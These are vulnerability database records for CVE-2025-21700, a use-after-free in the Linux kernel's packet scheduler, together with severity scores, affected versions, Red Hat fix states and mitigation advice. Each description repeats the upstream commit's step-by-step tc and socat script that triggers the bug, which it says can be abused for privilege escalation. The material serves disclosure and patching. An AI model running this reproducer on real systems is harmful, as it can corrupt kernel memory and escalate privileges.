{"dataType": "CVE_RECORD", "dataVersion": "5.2", "cveMetadata": {"cveId": "CVE-2025-21700", "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "state": "PUBLISHED", "assignerShortName": "Linux", "dateReserved": "2024-12-29T08:45:45.748Z", "datePublished": "2025-02-13T11:30:19.003Z", "dateUpdated": "2026-05-11T21:04:42.969Z"}, "containers": {"cna": {"providerMetadata": {"orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "shortName": "Linux", "dateUpdated": "2026-05-11T21:04:42.969Z"}, "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: sched: Disallow replacing of child qdisc from one parent to another\n\nLion Ackermann was able to create a UAF which can be abused for privilege\nescalation with the following script\n\nStep 1. create root qdisc\ntc qdisc add dev lo root handle 1:0 drr\n\nstep2. a class for packet aggregation do demonstrate uaf\ntc class add dev lo classid 1:1 drr\n\nstep3. a class for nesting\ntc class add dev lo classid 1:2 drr\n\nstep4. a class to graft qdisc to\ntc class add dev lo classid 1:3 drr\n\nstep5.\ntc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024\n\nstep6.\ntc qdisc add dev lo parent 1:2 handle 3:0 drr\n\nstep7.\ntc class add dev lo classid 3:1 drr\n\nstep 8.\ntc qdisc add dev lo parent 3:1 handle 4:0 pfifo\n\nstep 9. Display the class/qdisc layout\n\ntc class ls dev lo\n class drr 1:1 root leaf 2: quantum 64Kb\n class drr 1:2 root leaf 3: quantum 64Kb\n class drr 3:1 root leaf 4: quantum 64Kb\n\ntc qdisc ls\n qdisc drr 1: dev lo root refcnt 2\n qdisc plug 2: dev lo parent 1:1\n qdisc pfifo 4: dev lo parent 3:1 limit 1000p\n qdisc drr 3: dev lo parent 1:2\n\nstep10. trigger the bug <=== prevented by this patch\ntc qdisc replace dev lo parent 1:3 handle 4:0\n\nstep 11. Redisplay again the qdiscs/classes\n\ntc class ls dev lo\n class drr 1:1 root leaf 2: quantum 64Kb\n class drr 1:2 root leaf 3: quantum 64Kb\n class drr 1:3 root leaf 4: quantum 64Kb\n class drr 3:1 root leaf 4: quantum 64Kb\n\ntc qdisc ls\n qdisc drr 1: dev lo root refcnt 2\n qdisc plug 2: dev lo parent 1:1\n qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p\n qdisc drr 3: dev lo parent 1:2\n\nObserve that a) parent for 4:0 does not change despite the replace request.\nThere can only be one parent. b) refcount has gone up by two for 4:0 and\nc) both class 1:3 and 3:1 are pointing to it.\n\nStep 12. send one packet to plug\necho \"\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))\nstep13. send one packet to the grafted fifo\necho \"\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))\n\nstep14. lets trigger the uaf\ntc class delete dev lo classid 1:3\ntc class delete dev lo classid 1:1\n\nThe semantics of \"replace\" is for a del/add _on the same node_ and not\na delete from one node(3:1) and add to another node (1:3) as in step10.\nWhile we could \"fix\" with a more complex approach there could be\nconsequences to expectations so the patch takes the preventive approach of\n\"disallow such config\".\n\nJoint work with Lion Ackermann <nnamrec@gmail.com>"}], "metrics": [{"cvssV3_1": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH"}}], "affected": [{"product": "Linux", "vendor": "Linux", "defaultStatus": "unaffected", "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git", "programFiles": ["net/sched/sch_api.c"], "versions": [{"version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2", "lessThan": "cd796e269123e1994bfc4e99dd76680ba0946a97", "status": "affected", "versionType": "git"}, {"version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2", "lessThan": "fe18c21d67dc7d1bcce1bba56515b1b0306db19b", "status": "affected", "versionType": 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"https://git.kernel.org/stable/c/46c59ec33ec98aba20c15117630cae43a01404cc"}, {"url": "https://git.kernel.org/stable/c/bc50835e83f60f56e9bec2b392fb5544f250fb6f"}], "title": "net: sched: Disallow replacing of child qdisc from one parent to another", "x_generator": {"engine": "bippy-1.2.0"}}, "adp": [{"problemTypes": [{"descriptions": [{"type": "CWE", "cweId": "CWE-416", "lang": "en", "description": "CWE-416 Use After Free"}]}], "metrics": [{"cvssV3_1": {"scope": "UNCHANGED", "version": "3.1", "baseScore": 7.8, "attackVector": "LOCAL", "baseSeverity": "HIGH", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "integrityImpact": "HIGH", "userInteraction": "NONE", "attackComplexity": "LOW", "availabilityImpact": "HIGH", "privilegesRequired": "LOW", "confidentialityImpact": "HIGH"}}, {"other": {"type": "ssvc", "content": {"timestamp": "2025-02-13T13:51:43.457867Z", "id": "CVE-2025-21700", "options": [{"Exploitation": "none"}, {"Automatable": "no"}, {"Technical Impact": "total"}], "role": "CISA Coordinator", "version": "2.0.3"}}}], "title": "CISA ADP Vulnrichment", "providerMetadata": {"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "shortName": "CISA-ADP", "dateUpdated": "2025-02-13T13:51:59.562Z"}}, {"title": "CVE Program Container", "references": [{"url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"}, {"url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"}], "providerMetadata": {"orgId": "af854a3a-2127-422b-91ae-364da2661108", "shortName": "CVE", "dateUpdated": "2025-11-03T19:35:46.524Z"}}]}}

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[{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: sched: Disallow replacing of child qdisc from one parent to another\n\nLion Ackermann was able to create a UAF which can be abused for privilege\nescalation with the following script\n\nStep 1. create root qdisc\ntc qdisc add dev lo root handle 1:0 drr\n\nstep2. a class for packet aggregation do demonstrate uaf\ntc class add dev lo classid 1:1 drr\n\nstep3. a class for nesting\ntc class add dev lo classid 1:2 drr\n\nstep4. a class to graft qdisc to\ntc class add dev lo classid 1:3 drr\n\nstep5.\ntc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024\n\nstep6.\ntc qdisc add dev lo parent 1:2 handle 3:0 drr\n\nstep7.\ntc class add dev lo classid 3:1 drr\n\nstep 8.\ntc qdisc add dev lo parent 3:1 handle 4:0 pfifo\n\nstep 9. Display the class/qdisc layout\n\ntc class ls dev lo\n class drr 1:1 root leaf 2: quantum 64Kb\n class drr 1:2 root leaf 3: quantum 64Kb\n class drr 3:1 root leaf 4: quantum 64Kb\n\ntc qdisc ls\n qdisc drr 1: dev lo root refcnt 2\n qdisc plug 2: dev lo parent 1:1\n qdisc pfifo 4: dev lo parent 3:1 limit 1000p\n qdisc drr 3: dev lo parent 1:2\n\nstep10. trigger the bug <=== prevented by this patch\ntc qdisc replace dev lo parent 1:3 handle 4:0\n\nstep 11. Redisplay again the qdiscs/classes\n\ntc class ls dev lo\n class drr 1:1 root leaf 2: quantum 64Kb\n class drr 1:2 root leaf 3: quantum 64Kb\n class drr 1:3 root leaf 4: quantum 64Kb\n class drr 3:1 root leaf 4: quantum 64Kb\n\ntc qdisc ls\n qdisc drr 1: dev lo root refcnt 2\n qdisc plug 2: dev lo parent 1:1\n qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p\n qdisc drr 3: dev lo parent 1:2\n\nObserve that a) parent for 4:0 does not change despite the replace request.\nThere can only be one parent. b) refcount has gone up by two for 4:0 and\nc) both class 1:3 and 3:1 are pointing to it.\n\nStep 12. send one packet to plug\necho \"\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))\nstep13. send one packet to the grafted fifo\necho \"\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))\n\nstep14. lets trigger the uaf\ntc class delete dev lo classid 1:3\ntc class delete dev lo classid 1:1\n\nThe semantics of \"replace\" is for a del/add _on the same node_ and not\na delete from one node(3:1) and add to another node (1:3) as in step10.\nWhile we could \"fix\" with a more complex approach there could be\nconsequences to expectations so the patch takes the preventive approach of\n\"disallow such config\".\n\nJoint work with Lion Ackermann <nnamrec@gmail.com>"}], "cpeApplicability": [{"nodes": [{"negate": false, "cpeMatch": [{"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "vulnerable": true, "versionEndExcluding": "5.4.291", "versionStartIncluding": "2.6.12"}, {"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "vulnerable": true, "versionEndExcluding": "5.10.235", "versionStartIncluding": "2.6.12"}, {"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "vulnerable": true, "versionEndExcluding": "5.15.179", "versionStartIncluding": "2.6.12"}, {"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "vulnerable": true, "versionEndExcluding": "6.1.129", "versionStartIncluding": "2.6.12"}, {"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "vulnerable": true, "versionEndExcluding": "6.6.76", "versionStartIncluding": "2.6.12"}, {"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "vulnerable": true, "versionEndExcluding": "6.12.13", "versionStartIncluding": "2.6.12"}, {"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "vulnerable": true, "versionEndExcluding": "6.13.2", "versionStartIncluding": "2.6.12"}, {"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "vulnerable": true, "versionEndExcluding": "6.14", "versionStartIncluding": "2.6.12"}], "operator": "OR"}]}], "providerMetadata": {"orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "shortName": "Linux", "dateUpdated": "2026-04-02T08:39:22.831Z"}}}, "cveMetadata": {"cveId": "CVE-2025-21700", "state": "PUBLISHED", "dateUpdated": "2026-04-02T08:39:22.831Z", "dateReserved": "2024-12-29T08:45:45.748Z", "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "datePublished": "2025-02-13T11:30:19.003Z", "assignerShortName": "Linux"}, "dataVersion": "5.2"}

{"configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "matchCriteriaId": "C59EC1BB-CF72-482A-9A98-69C4C23A20B6", "versionEndExcluding": "5.4.291", "versionStartIncluding": "2.6.12", "vulnerable": true}, {"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "matchCriteriaId": "545121FA-DE31-4154-9446-C2000FB4104D", "versionEndExcluding": "5.10.235", "versionStartIncluding": "5.5", "vulnerable": true}, {"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "matchCriteriaId": "C708062C-4E1B-465F-AE6D-C09C46400875", "versionEndExcluding": "5.15.179", "versionStartIncluding": "5.11", "vulnerable": true}, {"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "matchCriteriaId": "2DA5009C-C9B9-4A1D-9B96-78427E8F232C", "versionEndExcluding": "6.1.129", "versionStartIncluding": "5.16", "vulnerable": true}, {"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "matchCriteriaId": "A6D70701-9CB6-4222-A957-00A419878993", "versionEndExcluding": "6.6.76", "versionStartIncluding": "6.2", "vulnerable": true}, {"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "matchCriteriaId": "2897389C-A8C3-4D69-90F2-E701B3D66373", "versionEndExcluding": "6.12.13", "versionStartIncluding": "6.7", "vulnerable": true}, {"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "matchCriteriaId": "6D4116B1-1BFD-4F23-BA84-169CC05FC5A3", "versionEndExcluding": "6.13.2", "versionStartIncluding": "6.13", "vulnerable": true}], "negate": false, "operator": "OR"}]}], "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: sched: Disallow replacing of child qdisc from one parent to another\n\nLion Ackermann was able to create a UAF which can be abused for privilege\nescalation with the following script\n\nStep 1. create root qdisc\ntc qdisc add dev lo root handle 1:0 drr\n\nstep2. a class for packet aggregation do demonstrate uaf\ntc class add dev lo classid 1:1 drr\n\nstep3. a class for nesting\ntc class add dev lo classid 1:2 drr\n\nstep4. a class to graft qdisc to\ntc class add dev lo classid 1:3 drr\n\nstep5.\ntc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024\n\nstep6.\ntc qdisc add dev lo parent 1:2 handle 3:0 drr\n\nstep7.\ntc class add dev lo classid 3:1 drr\n\nstep 8.\ntc qdisc add dev lo parent 3:1 handle 4:0 pfifo\n\nstep 9. Display the class/qdisc layout\n\ntc class ls dev lo\n class drr 1:1 root leaf 2: quantum 64Kb\n class drr 1:2 root leaf 3: quantum 64Kb\n class drr 3:1 root leaf 4: quantum 64Kb\n\ntc qdisc ls\n qdisc drr 1: dev lo root refcnt 2\n qdisc plug 2: dev lo parent 1:1\n qdisc pfifo 4: dev lo parent 3:1 limit 1000p\n qdisc drr 3: dev lo parent 1:2\n\nstep10. trigger the bug <=== prevented by this patch\ntc qdisc replace dev lo parent 1:3 handle 4:0\n\nstep 11. Redisplay again the qdiscs/classes\n\ntc class ls dev lo\n class drr 1:1 root leaf 2: quantum 64Kb\n class drr 1:2 root leaf 3: quantum 64Kb\n class drr 1:3 root leaf 4: quantum 64Kb\n class drr 3:1 root leaf 4: quantum 64Kb\n\ntc qdisc ls\n qdisc drr 1: dev lo root refcnt 2\n qdisc plug 2: dev lo parent 1:1\n qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p\n qdisc drr 3: dev lo parent 1:2\n\nObserve that a) parent for 4:0 does not change despite the replace request.\nThere can only be one parent. b) refcount has gone up by two for 4:0 and\nc) both class 1:3 and 3:1 are pointing to it.\n\nStep 12. send one packet to plug\necho \"\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))\nstep13. send one packet to the grafted fifo\necho \"\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))\n\nstep14. lets trigger the uaf\ntc class delete dev lo classid 1:3\ntc class delete dev lo classid 1:1\n\nThe semantics of \"replace\" is for a del/add _on the same node_ and not\na delete from one node(3:1) and add to another node (1:3) as in step10.\nWhile we could \"fix\" with a more complex approach there could be\nconsequences to expectations so the patch takes the preventive approach of\n\"disallow such config\".\n\nJoint work with Lion Ackermann <nnamrec@gmail.com>"}, {"lang": "es", "value": "En el kernel de Linux, se ha resuelto la siguiente vulnerabilidad: net: sched: No permitir el reemplazo de una qdisc secundaria de una primaria a otra Lion Ackermann pudo crear una UAF que se puede usar de forma abusiva para la escalada de privilegios con el siguiente script Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug &lt;=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the qdiscs/classes tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it. Step 12. send one packet to plug echo \"\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo \"\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) step14. La sem\u00e1ntica de \"reemplazar\" es para una eliminaci\u00f3n/adici\u00f3n _en el mismo nodo_ y no para una eliminaci\u00f3n de un nodo (3:1) y una adici\u00f3n a otro nodo (1:3) como en el paso 10. Si bien podr\u00edamos \"arreglarlo\" con un enfoque m\u00e1s complejo, podr\u00eda haber consecuencias para las expectativas, por lo que el parche adopta el enfoque preventivo de \"no permitir dicha configuraci\u00f3n\". Trabajo conjunto con Lion Ackermann "}], "id": "CVE-2025-21700", "lastModified": "2025-11-03T20:17:09.340", "metrics": {"cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary"}]}, "published": "2025-02-13T12:15:27.837", "references": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"], "url": "https://git.kernel.org/stable/c/38646749d6e12f9d80a08d21ca39f0beca20230d"}, {"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"], "url": "https://git.kernel.org/stable/c/46c59ec33ec98aba20c15117630cae43a01404cc"}, {"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"], "url": "https://git.kernel.org/stable/c/73c7e1d6898ccbeee126194dcc05f58b8a795e70"}, {"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"], "url": "https://git.kernel.org/stable/c/7e2bd8c13b07e29a247c023c7444df23f9a79fd8"}, {"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"], "url": "https://git.kernel.org/stable/c/bc50835e83f60f56e9bec2b392fb5544f250fb6f"}, {"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"], "url": "https://git.kernel.org/stable/c/cd796e269123e1994bfc4e99dd76680ba0946a97"}, {"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"], "url": "https://git.kernel.org/stable/c/deda09c0543a66fa51554abc5ffd723d99b191bf"}, {"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"], "url": "https://git.kernel.org/stable/c/fe18c21d67dc7d1bcce1bba56515b1b0306db19b"}, {"source": "af854a3a-2127-422b-91ae-364da2661108", "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"}, {"source": "af854a3a-2127-422b-91ae-364da2661108", "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"}], "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-416"}], "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary"}]}

{"bugzilla": {"description": "kernel: net: sched: Disallow replacing of child qdisc from one parent to another", "id": "2345534", "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2345534"}, "csaw": false, "cvss3": {"cvss3_base_score": "6.4", "cvss3_scoring_vector": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "status": "draft"}, "cwe": "CWE-416", "details": ["In the Linux kernel, the following vulnerability has been resolved:\nnet: sched: Disallow replacing of child qdisc from one parent to another\nLion Ackermann was able to create a UAF which can be abused for privilege\nescalation with the following script\nStep 1. create root qdisc\ntc qdisc add dev lo root handle 1:0 drr\nstep2. a class for packet aggregation do demonstrate uaf\ntc class add dev lo classid 1:1 drr\nstep3. a class for nesting\ntc class add dev lo classid 1:2 drr\nstep4. a class to graft qdisc to\ntc class add dev lo classid 1:3 drr\nstep5.\ntc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024\nstep6.\ntc qdisc add dev lo parent 1:2 handle 3:0 drr\nstep7.\ntc class add dev lo classid 3:1 drr\nstep 8.\ntc qdisc add dev lo parent 3:1 handle 4:0 pfifo\nstep 9. Display the class/qdisc layout\ntc class ls dev lo\nclass drr 1:1 root leaf 2: quantum 64Kb\nclass drr 1:2 root leaf 3: quantum 64Kb\nclass drr 3:1 root leaf 4: quantum 64Kb\ntc qdisc ls\nqdisc drr 1: dev lo root refcnt 2\nqdisc plug 2: dev lo parent 1:1\nqdisc pfifo 4: dev lo parent 3:1 limit 1000p\nqdisc drr 3: dev lo parent 1:2\nstep10. trigger the bug <=== prevented by this patch\ntc qdisc replace dev lo parent 1:3 handle 4:0\nstep 11. Redisplay again the qdiscs/classes\ntc class ls dev lo\nclass drr 1:1 root leaf 2: quantum 64Kb\nclass drr 1:2 root leaf 3: quantum 64Kb\nclass drr 1:3 root leaf 4: quantum 64Kb\nclass drr 3:1 root leaf 4: quantum 64Kb\ntc qdisc ls\nqdisc drr 1: dev lo root refcnt 2\nqdisc plug 2: dev lo parent 1:1\nqdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p\nqdisc drr 3: dev lo parent 1:2\nObserve that a) parent for 4:0 does not change despite the replace request.\nThere can only be one parent. b) refcount has gone up by two for 4:0 and\nc) both class 1:3 and 3:1 are pointing to it.\nStep 12. send one packet to plug\necho \"\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001))\nstep13. send one packet to the grafted fifo\necho \"\" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003))\nstep14. lets trigger the uaf\ntc class delete dev lo classid 1:3\ntc class delete dev lo classid 1:1\nThe semantics of \"replace\" is for a del/add _on the same node_ and not\na delete from one node(3:1) and add to another node (1:3) as in step10.\nWhile we could \"fix\" with a more complex approach there could be\nconsequences to expectations so the patch takes the preventive approach of\n\"disallow such config\".\nJoint work with Lion Ackermann <nnamrec@gmail.com>"], "mitigation": {"lang": "en:us", "value": "Mitigation for this issue is either not available or the currently available options don't meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability."}, "name": "CVE-2025-21700", "package_state": [{"cpe": "cpe:/o:redhat:enterprise_linux:10", "fix_state": "Will not fix", "package_name": "kernel", "product_name": "Red Hat Enterprise Linux 10"}, {"cpe": "cpe:/o:redhat:enterprise_linux:6", "fix_state": "Under investigation", "package_name": "kernel", "product_name": "Red Hat Enterprise Linux 6"}, {"cpe": "cpe:/o:redhat:enterprise_linux:7", "fix_state": "Under investigation", "package_name": "kernel", "product_name": "Red Hat Enterprise Linux 7"}, {"cpe": "cpe:/o:redhat:enterprise_linux:7", "fix_state": "Under investigation", "package_name": "kernel-rt", "product_name": "Red Hat Enterprise Linux 7"}, {"cpe": "cpe:/o:redhat:enterprise_linux:8", "fix_state": "Out of support scope", "package_name": "kernel", "product_name": "Red Hat Enterprise Linux 8"}, {"cpe": "cpe:/o:redhat:enterprise_linux:8", "fix_state": "Out of support scope", "package_name": "kernel-rt", "product_name": "Red Hat Enterprise Linux 8"}, {"cpe": "cpe:/o:redhat:enterprise_linux:9", "fix_state": "Will not fix", "package_name": "kernel", "product_name": "Red Hat Enterprise Linux 9"}, {"cpe": "cpe:/o:redhat:enterprise_linux:9", "fix_state": "Will not fix", "package_name": "kernel-rt", "product_name": "Red Hat Enterprise Linux 9"}], "public_date": "2025-02-13T00:00:00Z", "references": ["https://www.cve.org/CVERecord?id=CVE-2025-21700\nhttps://nvd.nist.gov/vuln/detail/CVE-2025-21700\nhttps://lore.kernel.org/linux-cve-announce/2025021308-CVE-2025-21700-305d@gregkh/T"], "statement": "The attack requires some operations that available only for privileged user (ex. \"tc qdisc replace dev lo parent 1:3 handle 4:0\"), so rated Moderate.", "threat_severity": "Moderate"}

{"analysis": {"en": {"generated_at": "2026-04-28T03:40:41.400986+00:00", "value": {"mitigation_remediation": ["Update the Linux kernel to a version that includes the commit disabling qdisc replace between parents.", "If an immediate upgrade is not possible, restrict tc usage by removing CAP_NET_ADMIN capability from untrusted processes or applying appropriate SELinux/AppArmor profiles.", "Verify that older kernels are not running on critical hosts, and re\u2011image or replace them with the patched kernel."], "summary": {"action": "Patch Immediately", "impact": "Privilege Escalation"}, "threat_synthesis": {"affected_systems": "This issue affects the Linux kernel in all current releases prior to the patch that disables the replace operation between different parents. The vulnerability is documented in the kernel commit tree and affects all distribution kernels that have not incorporated the change, including Debian LTS releases mentioned in the advisory mailing list.", "description_and_impact": "The vulnerability is a use\u2011after\u2011free in the Linux kernel networking scheduler that allows an attacker to replace a child queuing discipline (qdisc) from one parent to another. This manipulation can leave dangling references and cause memory corruption that, if triggered, may lead to arbitrary code execution or privilege escalation. The core weakness is a classic use\u2011after\u2011free (CWE\u2011416).", "risk_and_exploitability": "The CVSS score of 7.8 indicates high severity, while the EPSS score of <1% shows that exploitation is unlikely or unobserved. KEV does not list this vulnerability, implying no known widespread exploitation. Attackers would need to execute the tc commands that manipulate qdiscs, which generally requires CAP_NET_ADMIN or root privileges, so the vector is local privilege escalation rather than remote exploitation."}}}}, "created": "2026-04-28T03:45:20.281854+00:00", "updated": "2026-04-28T03:45:20.281895+00:00", "vendors": []}